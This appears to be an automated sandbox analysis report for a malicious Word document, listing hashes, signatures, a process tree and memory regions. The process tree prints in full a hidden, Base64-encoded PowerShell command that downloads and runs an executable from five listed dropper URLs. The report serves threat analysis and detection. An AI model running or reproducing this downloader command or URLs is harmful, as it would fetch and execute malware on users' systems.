Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 00:38

General

  • Target

    ba79b7f9d4cbb86ebe45caa23530d6e69c190076bb340180a2dcd54fee2f7674.doc

  • Size

    177KB

  • MD5

    df082fcf46023be3a68aad02c8024b14

  • SHA1

    f4267d3d8f6442cd414fa4e5e6c31380283df8d4

  • SHA256

    ba79b7f9d4cbb86ebe45caa23530d6e69c190076bb340180a2dcd54fee2f7674

  • SHA512

    265ffec4e7d667ef3c6215f58d54d12d24e63323551f8dbbad1cdead0465756c0c81f4e9c6f6117ebd73d15d8fd411877777f649806f8804d1d775d3e22b70a3

  • SSDEEP

    3072:ZT2y/GdynktGDWLS0HZWD5w8K7Nk96D7IBUqZB0zstySfNllXe:ZT2k43tGiL3HJk96D7bc0z0rllX

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ba79b7f9d4cbb86ebe45caa23530d6e69c190076bb340180a2dcd54fee2f7674.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:572
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2676

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EA997738.wmf

      Filesize

      444B

      MD5

      324a2886c56ad8a470b0b2305980d923

      SHA1

      2cd1d35c1f0872dddac1345bad869867947a20e9

      SHA256

      7141aaef4cc9b75831d580f827495da0795f4f0bacbe411e606aacc14ac7c57a

      SHA512

      056c84b8e8236eadb4aa949434a06a4b0bd552c3a5820a38349313001e371d47c8d065c8074ee50e9cf89088accbe809dc9e9dc4569e868ecd5818e227365fc5

    • memory/2676-32-0x0000000002080000-0x0000000002088000-memory.dmp

      Filesize

      32KB

    • memory/2676-31-0x000000001B5A0000-0x000000001B882000-memory.dmp

      Filesize

      2.9MB

    • memory/3024-21-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/3024-25-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/3024-14-0x0000000000430000-0x0000000000530000-memory.dmp

      Filesize

      1024KB

    • memory/3024-13-0x0000000000430000-0x0000000000530000-memory.dmp

      Filesize

      1024KB

    • memory/3024-12-0x0000000000430000-0x0000000000530000-memory.dmp

      Filesize

      1024KB

    • memory/3024-15-0x0000000000430000-0x0000000000530000-memory.dmp

      Filesize

      1024KB

    • memory/3024-16-0x0000000000430000-0x0000000000530000-memory.dmp

      Filesize

      1024KB

    • memory/3024-0-0x000000002FFB1000-0x000000002FFB2000-memory.dmp

      Filesize

      4KB

    • memory/3024-22-0x0000000000430000-0x0000000000530000-memory.dmp

      Filesize

      1024KB

    • memory/3024-5-0x0000000006590000-0x0000000006690000-memory.dmp

      Filesize

      1024KB

    • memory/3024-2-0x00000000711ED000-0x00000000711F8000-memory.dmp

      Filesize

      44KB

    • memory/3024-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3024-35-0x00000000711ED000-0x00000000711F8000-memory.dmp

      Filesize

      44KB

    • memory/3024-36-0x0000000006590000-0x0000000006690000-memory.dmp

      Filesize

      1024KB

    • memory/3024-40-0x0000000000430000-0x0000000000530000-memory.dmp

      Filesize

      1024KB

    • memory/3024-41-0x0000000006980000-0x0000000006A80000-memory.dmp

      Filesize

      1024KB

    • memory/3024-42-0x0000000000430000-0x0000000000530000-memory.dmp

      Filesize

      1024KB